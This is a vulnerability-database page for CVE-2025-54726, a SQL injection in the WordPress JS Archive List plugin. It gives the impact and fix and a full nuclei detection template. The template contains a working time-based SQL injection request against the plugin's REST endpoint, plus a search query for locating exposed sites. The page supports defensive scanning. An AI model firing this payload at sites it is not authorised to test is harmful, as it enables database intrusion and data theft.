HexBrain

Browse / CVEs / CVE-2025-54726

CVE-2025-54726· CWE-89

WordPress JS Archive List <= 6.1.5 - SQL Injection

highseverity
7.5CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

Miguel Useche JS Archive List contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.

Fix

Update to the latest version.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 6 and status_code == 200 and contains_all(body, "years","expand") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2025-54726 -u <target>

The full check
id: CVE-2025-54726

info:
  name: WordPress JS Archive List <= 6.1.5 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Miguel Useche JS Archive List contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jquery-archive-list-widget/js-archive-list-615-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/jquery-archive-list-widget/vulnerability/wordpress-js-archive-list-plugin-6-1-6-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54726
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-54726
    epss-score: 0.01607
    epss-percentile: 0.76096
    cwe-id: CWE-89
    cpe: cpe:2.3:a:flavor:js_archive_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="jquery-archive-list-widget"
  tags: cve,cve2025,wordpress,wp,wp-plugin,sqli,jquery-archive-list-widget,unauth,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-json/jalw/v1/archive?cats=if(now()=sysdate(),SLEEP(6),0)&exclusionType=exclude HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains_all(body, "years","expand")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from